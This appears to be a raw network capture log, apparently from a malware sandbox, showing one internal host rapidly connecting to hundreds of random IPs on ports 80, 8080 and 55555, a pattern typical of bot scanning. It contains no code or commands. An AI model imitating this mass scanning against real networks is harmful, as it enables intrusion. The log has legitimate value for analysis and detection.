Mar 21, 2024 05:21:47.400089025 CET	50992	80	192.168.2.13	188.2.202.118
Mar 21, 2024 05:21:47.400089025 CET	50992	80	192.168.2.13	141.230.39.158
Mar 21, 2024 05:21:47.400089025 CET	50992	80	192.168.2.13	108.67.215.163
Mar 21, 2024 05:21:47.400089025 CET	50992	80	192.168.2.13	31.196.45.83
Mar 21, 2024 05:21:47.400089979 CET	50992	80	192.168.2.13	118.124.157.193
Mar 21, 2024 05:21:47.400089979 CET	51760	55555	192.168.2.13	184.160.192.74
Mar 21, 2024 05:21:47.400089979 CET	50992	80	192.168.2.13	122.69.66.143
Mar 21, 2024 05:21:47.400089979 CET	51760	55555	192.168.2.13	172.25.220.208
Mar 21, 2024 05:21:47.400089979 CET	51760	55555	192.168.2.13	184.207.231.108
Mar 21, 2024 05:21:47.400089979 CET	50992	80	192.168.2.13	244.208.108.190
Mar 21, 2024 05:21:47.400089025 CET	51760	55555	192.168.2.13	98.43.91.95
Mar 21, 2024 05:21:47.400089025 CET	51760	55555	192.168.2.13	184.191.94.177
Mar 21, 2024 05:21:47.400089025 CET	50992	80	192.168.2.13	49.142.42.34
Mar 21, 2024 05:21:47.400089025 CET	50992	80	192.168.2.13	219.181.226.75
Mar 21, 2024 05:21:47.400093079 CET	50992	80	192.168.2.13	191.237.213.250
Mar 21, 2024 05:21:47.400093079 CET	50992	80	192.168.2.13	144.65.81.49
Mar 21, 2024 05:21:47.400095940 CET	51760	55555	192.168.2.13	98.100.211.172
Mar 21, 2024 05:21:47.400110006 CET	51760	55555	192.168.2.13	98.233.16.148
Mar 21, 2024 05:21:47.400110006 CET	50992	80	192.168.2.13	102.95.100.24
Mar 21, 2024 05:21:47.400110960 CET	50992	80	192.168.2.13	151.217.18.74
Mar 21, 2024 05:21:47.400111914 CET	51760	55555	192.168.2.13	98.120.190.53
Mar 21, 2024 05:21:47.400120020 CET	50992	80	192.168.2.13	184.94.168.212
Mar 21, 2024 05:21:47.400120974 CET	50992	80	192.168.2.13	150.124.77.250
Mar 21, 2024 05:21:47.400120974 CET	51760	55555	192.168.2.13	172.197.6.25
Mar 21, 2024 05:21:47.400125980 CET	50992	80	192.168.2.13	168.204.13.211
Mar 21, 2024 05:21:47.400135040 CET	51760	55555	192.168.2.13	172.147.238.210
Mar 21, 2024 05:21:47.400136948 CET	50992	80	192.168.2.13	38.147.153.137
Mar 21, 2024 05:21:47.400136948 CET	50992	80	192.168.2.13	111.86.200.102
Mar 21, 2024 05:21:47.400136948 CET	50992	80	192.168.2.13	40.144.142.94
Mar 21, 2024 05:21:47.400136948 CET	50992	80	192.168.2.13	98.31.18.87
Mar 21, 2024 05:21:47.400136948 CET	50992	80	192.168.2.13	153.43.216.197
Mar 21, 2024 05:21:47.400136948 CET	51760	55555	192.168.2.13	184.13.7.18
Mar 21, 2024 05:21:47.400136948 CET	51760	55555	192.168.2.13	172.47.215.217
Mar 21, 2024 05:21:47.400136948 CET	51760	55555	192.168.2.13	184.229.81.21
Mar 21, 2024 05:21:47.400146008 CET	50992	80	192.168.2.13	186.43.101.39
Mar 21, 2024 05:21:47.400146008 CET	51760	55555	192.168.2.13	172.109.247.111
Mar 21, 2024 05:21:47.400147915 CET	50992	80	192.168.2.13	165.251.155.57
Mar 21, 2024 05:21:47.400147915 CET	51760	55555	192.168.2.13	184.176.32.93
Mar 21, 2024 05:21:47.400147915 CET	50992	80	192.168.2.13	159.222.242.53
Mar 21, 2024 05:21:47.400147915 CET	51760	55555	192.168.2.13	98.231.68.199
Mar 21, 2024 05:21:47.400147915 CET	50992	80	192.168.2.13	139.45.27.79
Mar 21, 2024 05:21:47.400147915 CET	51760	55555	192.168.2.13	184.140.53.215
Mar 21, 2024 05:21:47.400147915 CET	51760	55555	192.168.2.13	184.149.207.207
Mar 21, 2024 05:21:47.400151968 CET	51760	55555	192.168.2.13	184.43.252.10
Mar 21, 2024 05:21:47.400151968 CET	50992	80	192.168.2.13	240.179.10.242
Mar 21, 2024 05:21:47.400151968 CET	50992	80	192.168.2.13	177.203.39.77
Mar 21, 2024 05:21:47.400151968 CET	51760	55555	192.168.2.13	98.75.227.134
Mar 21, 2024 05:21:47.400151968 CET	50992	80	192.168.2.13	199.119.121.15
Mar 21, 2024 05:21:47.400151968 CET	50992	80	192.168.2.13	192.88.229.29
Mar 21, 2024 05:21:47.400161982 CET	50992	80	192.168.2.13	192.62.15.29
Mar 21, 2024 05:21:47.400161982 CET	51760	55555	192.168.2.13	172.24.123.26
Mar 21, 2024 05:21:47.400161982 CET	51760	55555	192.168.2.13	184.150.113.215
Mar 21, 2024 05:21:47.400161982 CET	50992	80	192.168.2.13	250.238.223.102
Mar 21, 2024 05:21:47.400171041 CET	51760	55555	192.168.2.13	172.71.21.206
Mar 21, 2024 05:21:47.400171041 CET	51760	55555	192.168.2.13	172.164.177.44
Mar 21, 2024 05:21:47.400171995 CET	50992	80	192.168.2.13	70.236.202.224
Mar 21, 2024 05:21:47.400172949 CET	50992	80	192.168.2.13	149.93.65.102
Mar 21, 2024 05:21:47.400172949 CET	51760	55555	192.168.2.13	172.69.50.17
Mar 21, 2024 05:21:47.400172949 CET	51760	55555	192.168.2.13	98.192.172.154
Mar 21, 2024 05:21:47.400172949 CET	50992	80	192.168.2.13	99.228.163.190
Mar 21, 2024 05:21:47.400172949 CET	51760	55555	192.168.2.13	172.24.140.182
Mar 21, 2024 05:21:47.400172949 CET	51760	55555	192.168.2.13	184.166.112.129
Mar 21, 2024 05:21:47.400172949 CET	51760	55555	192.168.2.13	172.101.76.66
Mar 21, 2024 05:21:47.400177002 CET	51760	55555	192.168.2.13	172.68.107.242
Mar 21, 2024 05:21:47.400177002 CET	50992	80	192.168.2.13	159.69.37.3
Mar 21, 2024 05:21:47.400177002 CET	51760	55555	192.168.2.13	172.103.240.183
Mar 21, 2024 05:21:47.400185108 CET	50992	80	192.168.2.13	89.118.95.140
Mar 21, 2024 05:21:47.400204897 CET	51760	55555	192.168.2.13	184.106.156.254
Mar 21, 2024 05:21:47.400204897 CET	51760	55555	192.168.2.13	172.100.212.84
Mar 21, 2024 05:21:47.400204897 CET	51760	55555	192.168.2.13	98.52.93.12
Mar 21, 2024 05:21:47.400222063 CET	50992	80	192.168.2.13	187.221.246.74
Mar 21, 2024 05:21:47.400222063 CET	51760	55555	192.168.2.13	184.159.57.192
Mar 21, 2024 05:21:47.400222063 CET	50992	80	192.168.2.13	172.125.82.137
Mar 21, 2024 05:21:47.400228024 CET	51760	55555	192.168.2.13	184.98.238.113
Mar 21, 2024 05:21:47.400235891 CET	50992	80	192.168.2.13	54.197.49.222
Mar 21, 2024 05:21:47.400235891 CET	51760	55555	192.168.2.13	184.155.121.125
Mar 21, 2024 05:21:47.400235891 CET	51760	55555	192.168.2.13	98.46.244.64
Mar 21, 2024 05:21:47.400235891 CET	51760	55555	192.168.2.13	184.141.101.119
Mar 21, 2024 05:21:47.400240898 CET	50992	80	192.168.2.13	162.201.139.245
Mar 21, 2024 05:21:47.400240898 CET	51760	55555	192.168.2.13	172.200.8.147
Mar 21, 2024 05:21:47.400240898 CET	51760	55555	192.168.2.13	172.78.115.250
Mar 21, 2024 05:21:47.400240898 CET	50992	80	192.168.2.13	252.155.40.148
Mar 21, 2024 05:21:47.400244951 CET	50992	80	192.168.2.13	188.147.126.3
Mar 21, 2024 05:21:47.400244951 CET	51760	55555	192.168.2.13	184.208.75.222
Mar 21, 2024 05:21:47.400249958 CET	50992	80	192.168.2.13	125.212.250.199
Mar 21, 2024 05:21:47.400249958 CET	50992	80	192.168.2.13	1.34.57.242
Mar 21, 2024 05:21:47.400250912 CET	50992	80	192.168.2.13	90.6.138.163
Mar 21, 2024 05:21:47.400250912 CET	51760	55555	192.168.2.13	172.112.129.67
Mar 21, 2024 05:21:47.400253057 CET	50992	80	192.168.2.13	91.4.210.89
Mar 21, 2024 05:21:47.400253057 CET	51760	55555	192.168.2.13	184.73.118.184
Mar 21, 2024 05:21:47.400253057 CET	50992	80	192.168.2.13	243.8.88.239
Mar 21, 2024 05:21:47.400260925 CET	51760	55555	192.168.2.13	98.219.83.113
Mar 21, 2024 05:21:47.400260925 CET	51760	55555	192.168.2.13	172.20.138.58
Mar 21, 2024 05:21:47.400262117 CET	51760	55555	192.168.2.13	172.20.252.61
Mar 21, 2024 05:21:47.400262117 CET	51760	55555	192.168.2.13	172.34.117.103
Mar 21, 2024 05:21:47.400262117 CET	51760	55555	192.168.2.13	172.236.217.100
Mar 21, 2024 05:21:47.400262117 CET	50992	80	192.168.2.13	221.185.159.63
Mar 21, 2024 05:21:47.400269985 CET	49712	8080	192.168.2.13	98.11.175.159
Mar 21, 2024 05:21:47.400269985 CET	49712	8080	192.168.2.13	98.176.191.88
Mar 21, 2024 05:21:47.400273085 CET	51760	55555	192.168.2.13	172.148.74.175
Mar 21, 2024 05:21:47.400273085 CET	49712	8080	192.168.2.13	172.145.106.91
Mar 21, 2024 05:21:47.400291920 CET	49712	8080	192.168.2.13	98.103.111.14
Mar 21, 2024 05:21:47.400296926 CET	49712	8080	192.168.2.13	98.95.90.252
Mar 21, 2024 05:21:47.400300026 CET	49712	8080	192.168.2.13	172.241.195.114
Mar 21, 2024 05:21:47.400304079 CET	49712	8080	192.168.2.13	172.188.214.113
Mar 21, 2024 05:21:47.400310993 CET	49712	8080	192.168.2.13	184.26.31.133
Mar 21, 2024 05:21:47.400314093 CET	49712	8080	192.168.2.13	98.81.193.199
Mar 21, 2024 05:21:47.400314093 CET	49712	8080	192.168.2.13	98.236.235.206
Mar 21, 2024 05:21:47.400331974 CET	49712	8080	192.168.2.13	172.213.115.23
Mar 21, 2024 05:21:47.400331974 CET	49712	8080	192.168.2.13	98.146.127.22
Mar 21, 2024 05:21:47.400335073 CET	49712	8080	192.168.2.13	172.27.221.1
Mar 21, 2024 05:21:47.400338888 CET	49712	8080	192.168.2.13	98.67.229.39
Mar 21, 2024 05:21:47.400338888 CET	49712	8080	192.168.2.13	98.42.114.202
Mar 21, 2024 05:21:47.400340080 CET	51760	55555	192.168.2.13	184.28.164.34
Mar 21, 2024 05:21:47.400340080 CET	51760	55555	192.168.2.13	172.123.192.153
Mar 21, 2024 05:21:47.400340080 CET	51760	55555	192.168.2.13	184.33.213.129
Mar 21, 2024 05:21:47.400340080 CET	51760	55555	192.168.2.13	98.84.192.160
Mar 21, 2024 05:21:47.400340080 CET	49712	8080	192.168.2.13	172.224.158.91
Mar 21, 2024 05:21:47.400340080 CET	49712	8080	192.168.2.13	172.152.123.240
Mar 21, 2024 05:21:47.400347948 CET	49712	8080	192.168.2.13	98.244.221.63
Mar 21, 2024 05:21:47.400365114 CET	49712	8080	192.168.2.13	184.121.214.120
Mar 21, 2024 05:21:47.400366068 CET	49712	8080	192.168.2.13	98.211.208.121
Mar 21, 2024 05:21:47.400373936 CET	49712	8080	192.168.2.13	172.41.88.244
Mar 21, 2024 05:21:47.400393963 CET	49712	8080	192.168.2.13	172.156.254.45
Mar 21, 2024 05:21:47.400393963 CET	49712	8080	192.168.2.13	172.118.108.158
Mar 21, 2024 05:21:47.400401115 CET	49712	8080	192.168.2.13	184.97.35.94
Mar 21, 2024 05:21:47.400403976 CET	49712	8080	192.168.2.13	98.121.235.222
Mar 21, 2024 05:21:47.400404930 CET	49712	8080	192.168.2.13	172.35.26.52
Mar 21, 2024 05:21:47.400417089 CET	49712	8080	192.168.2.13	172.243.234.185
Mar 21, 2024 05:21:47.400419950 CET	49712	8080	192.168.2.13	98.11.16.241
Mar 21, 2024 05:21:47.400427103 CET	49712	8080	192.168.2.13	172.119.106.224
Mar 21, 2024 05:21:47.400440931 CET	49712	8080	192.168.2.13	98.64.191.153
Mar 21, 2024 05:21:47.400441885 CET	49712	8080	192.168.2.13	184.76.160.26
Mar 21, 2024 05:21:47.400446892 CET	51760	55555	192.168.2.13	172.55.142.13
Mar 21, 2024 05:21:47.400451899 CET	49712	8080	192.168.2.13	98.186.28.182
Mar 21, 2024 05:21:47.400454044 CET	49712	8080	192.168.2.13	172.92.226.200
Mar 21, 2024 05:21:47.400454044 CET	49712	8080	192.168.2.13	98.128.240.244
Mar 21, 2024 05:21:47.400455952 CET	51760	55555	192.168.2.13	184.60.71.44
Mar 21, 2024 05:21:47.400454044 CET	49712	8080	192.168.2.13	172.158.92.188
Mar 21, 2024 05:21:47.400455952 CET	51760	55555	192.168.2.13	98.156.123.104
Mar 21, 2024 05:21:47.400454044 CET	49712	8080	192.168.2.13	172.26.234.64
Mar 21, 2024 05:21:47.400475025 CET	49712	8080	192.168.2.13	98.82.29.40
Mar 21, 2024 05:21:47.400475979 CET	51760	55555	192.168.2.13	172.205.104.95
Mar 21, 2024 05:21:47.400482893 CET	49712	8080	192.168.2.13	98.63.137.43
Mar 21, 2024 05:21:47.400482893 CET	51760	55555	192.168.2.13	172.252.244.27
Mar 21, 2024 05:21:47.400486946 CET	49712	8080	192.168.2.13	98.212.154.68
Mar 21, 2024 05:21:47.400486946 CET	49712	8080	192.168.2.13	172.125.48.160
Mar 21, 2024 05:21:47.400490999 CET	51760	55555	192.168.2.13	184.2.54.196
Mar 21, 2024 05:21:47.400490999 CET	51760	55555	192.168.2.13	98.9.15.232
Mar 21, 2024 05:21:47.400495052 CET	51760	55555	192.168.2.13	98.111.88.103
Mar 21, 2024 05:21:47.400495052 CET	51760	55555	192.168.2.13	98.46.80.40
Mar 21, 2024 05:21:47.400495052 CET	51760	55555	192.168.2.13	172.240.227.114
Mar 21, 2024 05:21:47.400495052 CET	49712	8080	192.168.2.13	172.231.191.63
Mar 21, 2024 05:21:47.400497913 CET	51760	55555	192.168.2.13	98.139.170.195
Mar 21, 2024 05:21:47.400497913 CET	51760	55555	192.168.2.13	172.95.180.181
Mar 21, 2024 05:21:47.400501966 CET	51760	55555	192.168.2.13	184.138.53.140
Mar 21, 2024 05:21:47.400501966 CET	51760	55555	192.168.2.13	98.193.77.114
Mar 21, 2024 05:21:47.400504112 CET	51760	55555	192.168.2.13	98.86.69.121
Mar 21, 2024 05:21:47.400504112 CET	51760	55555	192.168.2.13	172.237.189.102
Mar 21, 2024 05:21:47.400509119 CET	51760	55555	192.168.2.13	98.253.90.4
Mar 21, 2024 05:21:47.400509119 CET	51760	55555	192.168.2.13	98.134.6.6
Mar 21, 2024 05:21:47.400509119 CET	51760	55555	192.168.2.13	184.132.241.157
Mar 21, 2024 05:21:47.400512934 CET	51760	55555	192.168.2.13	184.120.88.187
Mar 21, 2024 05:21:47.400512934 CET	51760	55555	192.168.2.13	184.15.196.104
Mar 21, 2024 05:21:47.400512934 CET	51760	55555	192.168.2.13	172.58.163.225
Mar 21, 2024 05:21:47.400521040 CET	51760	55555	192.168.2.13	172.66.155.196
Mar 21, 2024 05:21:47.400526047 CET	49712	8080	192.168.2.13	184.228.146.24
Mar 21, 2024 05:21:47.400532961 CET	49712	8080	192.168.2.13	172.230.41.162
Mar 21, 2024 05:21:47.400540113 CET	49712	8080	192.168.2.13	98.51.20.23
Mar 21, 2024 05:21:47.400547981 CET	49712	8080	192.168.2.13	172.205.2.195
Mar 21, 2024 05:21:47.400547981 CET	51760	55555	192.168.2.13	98.130.89.60
Mar 21, 2024 05:21:47.400551081 CET	51760	55555	192.168.2.13	184.60.179.30
Mar 21, 2024 05:21:47.400551081 CET	51760	55555	192.168.2.13	172.47.223.174
Mar 21, 2024 05:21:47.400552034 CET	49712	8080	192.168.2.13	172.60.236.78
Mar 21, 2024 05:21:47.400552034 CET	49712	8080	192.168.2.13	184.98.13.168
Mar 21, 2024 05:21:47.400551081 CET	49712	8080	192.168.2.13	98.86.70.68
Mar 21, 2024 05:21:47.400551081 CET	49712	8080	192.168.2.13	172.93.236.230
Mar 21, 2024 05:21:47.400557995 CET	49712	8080	192.168.2.13	184.9.79.225
Mar 21, 2024 05:21:47.400557995 CET	49712	8080	192.168.2.13	184.164.101.220
Mar 21, 2024 05:21:47.400559902 CET	49712	8080	192.168.2.13	184.113.80.171
Mar 21, 2024 05:21:47.400559902 CET	49712	8080	192.168.2.13	172.226.14.54
Mar 21, 2024 05:21:47.400563955 CET	49712	8080	192.168.2.13	98.131.13.124
Mar 21, 2024 05:21:47.400564909 CET	49712	8080	192.168.2.13	184.12.184.185
Mar 21, 2024 05:21:47.400569916 CET	51760	55555	192.168.2.13	184.252.146.45
Mar 21, 2024 05:21:47.400569916 CET	49712	8080	192.168.2.13	172.142.208.13
Mar 21, 2024 05:21:47.400569916 CET	51760	55555	192.168.2.13	184.187.250.130
Mar 21, 2024 05:21:47.400569916 CET	49712	8080	192.168.2.13	184.238.52.104
Mar 21, 2024 05:21:47.400577068 CET	49712	8080	192.168.2.13	98.113.141.158
Mar 21, 2024 05:21:47.400577068 CET	49712	8080	192.168.2.13	172.55.83.78
Mar 21, 2024 05:21:47.400584936 CET	51760	55555	192.168.2.13	184.162.74.237
Mar 21, 2024 05:21:47.400584936 CET	49712	8080	192.168.2.13	172.205.83.11
Mar 21, 2024 05:21:47.400587082 CET	51760	55555	192.168.2.13	184.182.143.233
Mar 21, 2024 05:21:47.400588989 CET	49712	8080	192.168.2.13	172.131.206.47
Mar 21, 2024 05:21:47.400590897 CET	49712	8080	192.168.2.13	98.94.128.216
Mar 21, 2024 05:21:47.400590897 CET	49712	8080	192.168.2.13	184.231.23.14
Mar 21, 2024 05:21:47.400598049 CET	51760	55555	192.168.2.13	172.120.109.113
Mar 21, 2024 05:21:47.400599957 CET	51760	55555	192.168.2.13	172.211.12.213
Mar 21, 2024 05:21:47.400599957 CET	49712	8080	192.168.2.13	98.108.10.66
Mar 21, 2024 05:21:47.400599957 CET	51760	55555	192.168.2.13	98.58.131.167
Mar 21, 2024 05:21:47.400607109 CET	51760	55555	192.168.2.13	172.154.112.102
Mar 21, 2024 05:21:47.400607109 CET	51760	55555	192.168.2.13	184.248.136.12
Mar 21, 2024 05:21:47.400609016 CET	51760	55555	192.168.2.13	98.171.254.135
Mar 21, 2024 05:21:47.400609016 CET	51760	55555	192.168.2.13	172.206.201.222
Mar 21, 2024 05:21:47.400612116 CET	51760	55555	192.168.2.13	184.220.30.43
Mar 21, 2024 05:21:47.400612116 CET	51760	55555	192.168.2.13	184.107.203.19
Mar 21, 2024 05:21:47.400612116 CET	51760	55555	192.168.2.13	172.132.143.176
Mar 21, 2024 05:21:47.400618076 CET	51760	55555	192.168.2.13	98.242.59.191
Mar 21, 2024 05:21:47.400618076 CET	51760	55555	192.168.2.13	172.193.117.96
Mar 21, 2024 05:21:47.400624037 CET	49712	8080	192.168.2.13	184.98.135.54
Mar 21, 2024 05:21:47.400624037 CET	51760	55555	192.168.2.13	184.209.29.49
Mar 21, 2024 05:21:47.400625944 CET	51760	55555	192.168.2.13	98.214.141.219
Mar 21, 2024 05:21:47.400625944 CET	51760	55555	192.168.2.13	172.101.79.191
Mar 21, 2024 05:21:47.400629997 CET	49712	8080	192.168.2.13	172.121.22.10
Mar 21, 2024 05:21:47.400635958 CET	51760	55555	192.168.2.13	98.192.122.19
Mar 21, 2024 05:21:47.400635958 CET	51760	55555	192.168.2.13	98.100.60.115
Mar 21, 2024 05:21:47.400635958 CET	51760	55555	192.168.2.13	184.227.40.32
Mar 21, 2024 05:21:47.400639057 CET	51760	55555	192.168.2.13	98.200.185.102
Mar 21, 2024 05:21:47.400639057 CET	51760	55555	192.168.2.13	98.44.86.248
Mar 21, 2024 05:21:47.400645018 CET	51760	55555	192.168.2.13	98.25.65.229
Mar 21, 2024 05:21:47.400645018 CET	49712	8080	192.168.2.13	184.121.13.176
Mar 21, 2024 05:21:47.400645018 CET	49712	8080	192.168.2.13	98.52.84.48
Mar 21, 2024 05:21:47.400645018 CET	49712	8080	192.168.2.13	172.185.71.143
Mar 21, 2024 05:21:47.400650978 CET	49712	8080	192.168.2.13	172.243.92.164
Mar 21, 2024 05:21:47.400650978 CET	49712	8080	192.168.2.13	184.166.7.78
Mar 21, 2024 05:21:47.400650978 CET	49712	8080	192.168.2.13	172.181.220.103
Mar 21, 2024 05:21:47.400660992 CET	49712	8080	192.168.2.13	172.44.150.7
Mar 21, 2024 05:21:47.400660992 CET	51760	55555	192.168.2.13	98.193.88.57
Mar 21, 2024 05:21:47.400659084 CET	51760	55555	192.168.2.13	184.40.240.6
Mar 21, 2024 05:21:47.400664091 CET	51760	55555	192.168.2.13	172.116.175.236
Mar 21, 2024 05:21:47.400660992 CET	51760	55555	192.168.2.13	172.22.39.174
Mar 21, 2024 05:21:47.400659084 CET	49712	8080	192.168.2.13	172.195.161.177
Mar 21, 2024 05:21:47.400660992 CET	51760	55555	192.168.2.13	172.120.155.112
Mar 21, 2024 05:21:47.400666952 CET	49712	8080	192.168.2.13	172.139.174.175
Mar 21, 2024 05:21:47.400666952 CET	49712	8080	192.168.2.13	184.144.145.9
Mar 21, 2024 05:21:47.400666952 CET	49712	8080	192.168.2.13	184.152.199.144
Mar 21, 2024 05:21:47.400666952 CET	51760	55555	192.168.2.13	98.106.70.94
Mar 21, 2024 05:21:47.400666952 CET	49712	8080	192.168.2.13	172.196.30.176
Mar 21, 2024 05:21:47.400670052 CET	51760	55555	192.168.2.13	172.21.59.220
Mar 21, 2024 05:21:47.400672913 CET	51760	55555	192.168.2.13	184.155.157.179
Mar 21, 2024 05:21:47.400672913 CET	49712	8080	192.168.2.13	172.186.202.95
Mar 21, 2024 05:21:47.400672913 CET	49712	8080	192.168.2.13	172.33.198.219
Mar 21, 2024 05:21:47.400685072 CET	49712	8080	192.168.2.13	98.9.134.94
Mar 21, 2024 05:21:47.400685072 CET	51760	55555	192.168.2.13	98.70.121.23
Mar 21, 2024 05:21:47.400697947 CET	49712	8080	192.168.2.13	98.135.211.53
Mar 21, 2024 05:21:47.400697947 CET	49712	8080	192.168.2.13	172.104.89.165
Mar 21, 2024 05:21:47.400698900 CET	49712	8080	192.168.2.13	172.130.116.231
Mar 21, 2024 05:21:47.400697947 CET	51760	55555	192.168.2.13	184.94.68.188
Mar 21, 2024 05:21:47.400698900 CET	51760	55555	192.168.2.13	98.58.244.240
Mar 21, 2024 05:21:47.400697947 CET	51760	55555	192.168.2.13	98.136.89.250
Mar 21, 2024 05:21:47.400697947 CET	51760	55555	192.168.2.13	172.134.93.114
Mar 21, 2024 05:21:47.400698900 CET	51760	55555	192.168.2.13	184.146.230.33
Mar 21, 2024 05:21:47.400708914 CET	49712	8080	192.168.2.13	184.183.101.212
Mar 21, 2024 05:21:47.400708914 CET	49712	8080	192.168.2.13	172.253.227.9
Mar 21, 2024 05:21:47.400708914 CET	49712	8080	192.168.2.13	98.250.40.181
Mar 21, 2024 05:21:47.400708914 CET	51760	55555	192.168.2.13	98.98.56.152
Mar 21, 2024 05:21:47.400710106 CET	51760	55555	192.168.2.13	184.56.255.242
Mar 21, 2024 05:21:47.400708914 CET	51760	55555	192.168.2.13	172.78.40.107
Mar 21, 2024 05:21:47.400708914 CET	51760	55555	192.168.2.13	184.128.171.8
Mar 21, 2024 05:21:47.400708914 CET	51760	55555	192.168.2.13	184.181.174.195
Mar 21, 2024 05:21:47.400708914 CET	51760	55555	192.168.2.13	172.13.130.183
Mar 21, 2024 05:21:47.400713921 CET	51760	55555	192.168.2.13	172.154.50.236
Mar 21, 2024 05:21:47.400713921 CET	49712	8080	192.168.2.13	98.140.90.171
Mar 21, 2024 05:21:47.400713921 CET	49712	8080	192.168.2.13	184.28.51.165
Mar 21, 2024 05:21:47.400713921 CET	51760	55555	192.168.2.13	98.88.162.251
Mar 21, 2024 05:21:47.400713921 CET	51760	55555	192.168.2.13	98.84.167.102
Mar 21, 2024 05:21:47.400713921 CET	51760	55555	192.168.2.13	98.39.36.48
Mar 21, 2024 05:21:47.400713921 CET	51760	55555	192.168.2.13	184.245.111.53
Mar 21, 2024 05:21:47.400713921 CET	49712	8080	192.168.2.13	98.152.34.113
Mar 21, 2024 05:21:47.400718927 CET	51760	55555	192.168.2.13	172.85.14.33
Mar 21, 2024 05:21:47.400718927 CET	51760	55555	192.168.2.13	172.245.150.4
Mar 21, 2024 05:21:47.400718927 CET	49712	8080	192.168.2.13	98.113.200.124
Mar 21, 2024 05:21:47.400718927 CET	51760	55555	192.168.2.13	184.195.31.208
Mar 21, 2024 05:21:47.400718927 CET	49712	8080	192.168.2.13	184.37.118.185
Mar 21, 2024 05:21:47.400718927 CET	51760	55555	192.168.2.13	98.88.18.32
Mar 21, 2024 05:21:47.400718927 CET	51760	55555	192.168.2.13	184.74.241.242
Mar 21, 2024 05:21:47.400718927 CET	51760	55555	192.168.2.13	98.110.125.125
Mar 21, 2024 05:21:47.400718927 CET	51760	55555	192.168.2.13	98.63.43.56
Mar 21, 2024 05:21:47.400718927 CET	49712	8080	192.168.2.13	172.2.17.215
Mar 21, 2024 05:21:47.400718927 CET	49712	8080	192.168.2.13	184.190.73.45
Mar 21, 2024 05:21:47.400718927 CET	51760	55555	192.168.2.13	98.91.170.57
Mar 21, 2024 05:21:47.400728941 CET	51760	55555	192.168.2.13	184.146.249.163
Mar 21, 2024 05:21:47.400729895 CET	49712	8080	192.168.2.13	98.214.232.63
Mar 21, 2024 05:21:47.400728941 CET	51760	55555	192.168.2.13	184.166.26.8
Mar 21, 2024 05:21:47.400729895 CET	51760	55555	192.168.2.13	172.206.148.255
Mar 21, 2024 05:21:47.400729895 CET	51760	55555	192.168.2.13	184.160.191.90
Mar 21, 2024 05:21:47.400729895 CET	51760	55555	192.168.2.13	98.252.56.120
Mar 21, 2024 05:21:47.400729895 CET	51760	55555	192.168.2.13	98.230.109.87
Mar 21, 2024 05:21:47.400729895 CET	49712	8080	192.168.2.13	172.46.13.182
Mar 21, 2024 05:21:47.400729895 CET	51760	55555	192.168.2.13	172.144.164.81
Mar 21, 2024 05:21:47.400729895 CET	51760	55555	192.168.2.13	98.240.81.7
Mar 21, 2024 05:21:47.400746107 CET	51760	55555	192.168.2.13	184.8.197.232
Mar 21, 2024 05:21:47.400748014 CET	51760	55555	192.168.2.13	184.16.155.86
Mar 21, 2024 05:21:47.400746107 CET	51760	55555	192.168.2.13	98.253.43.8
Mar 21, 2024 05:21:47.400746107 CET	51760	55555	192.168.2.13	184.24.135.115
Mar 21, 2024 05:21:47.400746107 CET	51760	55555	192.168.2.13	98.98.18.177
Mar 21, 2024 05:21:47.400746107 CET	51760	55555	192.168.2.13	172.17.182.64
Mar 21, 2024 05:21:47.400746107 CET	51760	55555	192.168.2.13	184.91.196.49
Mar 21, 2024 05:21:47.400746107 CET	49712	8080	192.168.2.13	184.249.226.149
Mar 21, 2024 05:21:47.400769949 CET	51760	55555	192.168.2.13	98.79.32.126
Mar 21, 2024 05:21:47.400769949 CET	49712	8080	192.168.2.13	184.146.215.140
Mar 21, 2024 05:21:47.400769949 CET	51760	55555	192.168.2.13	184.45.200.54
Mar 21, 2024 05:21:47.400769949 CET	51760	55555	192.168.2.13	172.59.227.225
Mar 21, 2024 05:21:47.400774002 CET	51760	55555	192.168.2.13	172.0.199.149
Mar 21, 2024 05:21:47.400774002 CET	49712	8080	192.168.2.13	98.227.91.187
Mar 21, 2024 05:21:47.400780916 CET	51760	55555	192.168.2.13	172.102.105.222
Mar 21, 2024 05:21:47.400789976 CET	51760	55555	192.168.2.13	98.164.1.22
Mar 21, 2024 05:21:47.400789976 CET	51760	55555	192.168.2.13	98.80.25.23
Mar 21, 2024 05:21:47.400789976 CET	51760	55555	192.168.2.13	172.171.46.7
Mar 21, 2024 05:21:47.400789976 CET	51760	55555	192.168.2.13	98.38.235.234
Mar 21, 2024 05:21:47.400789976 CET	49712	8080	192.168.2.13	98.250.101.109
Mar 21, 2024 05:21:47.400790930 CET	51760	55555	192.168.2.13	98.175.79.63
Mar 21, 2024 05:21:47.400790930 CET	51760	55555	192.168.2.13	184.194.0.194
Mar 21, 2024 05:21:47.400790930 CET	49712	8080	192.168.2.13	172.125.46.211
Mar 21, 2024 05:21:47.400795937 CET	51760	55555	192.168.2.13	98.107.65.149
Mar 21, 2024 05:21:47.400820971 CET	51760	55555	192.168.2.13	172.245.127.125
Mar 21, 2024 05:21:47.400820971 CET	51760	55555	192.168.2.13	172.153.88.179
Mar 21, 2024 05:21:47.400835991 CET	51760	55555	192.168.2.13	172.194.223.7
Mar 21, 2024 05:21:47.400839090 CET	51760	55555	192.168.2.13	98.35.107.203
Mar 21, 2024 05:21:47.400840998 CET	49712	8080	192.168.2.13	184.30.197.3
Mar 21, 2024 05:21:47.400839090 CET	51760	55555	192.168.2.13	98.135.90.232
Mar 21, 2024 05:21:47.400840998 CET	51760	55555	192.168.2.13	172.160.253.36
Mar 21, 2024 05:21:47.400839090 CET	51760	55555	192.168.2.13	98.45.169.200
Mar 21, 2024 05:21:47.400840998 CET	51760	55555	192.168.2.13	172.3.250.46
Mar 21, 2024 05:21:47.400839090 CET	49712	8080	192.168.2.13	98.165.66.35
Mar 21, 2024 05:21:47.400840998 CET	51760	55555	192.168.2.13	98.57.168.29
Mar 21, 2024 05:21:47.400839090 CET	51760	55555	192.168.2.13	172.48.232.43
Mar 21, 2024 05:21:47.400840998 CET	49712	8080	192.168.2.13	98.95.97.41
Mar 21, 2024 05:21:47.400846958 CET	51760	55555	192.168.2.13	172.163.217.43
Mar 21, 2024 05:21:47.400847912 CET	49712	8080	192.168.2.13	98.209.82.105
Mar 21, 2024 05:21:47.400847912 CET	51760	55555	192.168.2.13	98.193.49.246
Mar 21, 2024 05:21:47.400847912 CET	49712	8080	192.168.2.13	184.255.111.42
Mar 21, 2024 05:21:47.400847912 CET	49712	8080	192.168.2.13	172.100.32.221
Mar 21, 2024 05:21:47.400847912 CET	49712	8080	192.168.2.13	172.160.104.28
Mar 21, 2024 05:21:47.400859118 CET	51760	55555	192.168.2.13	172.167.20.214
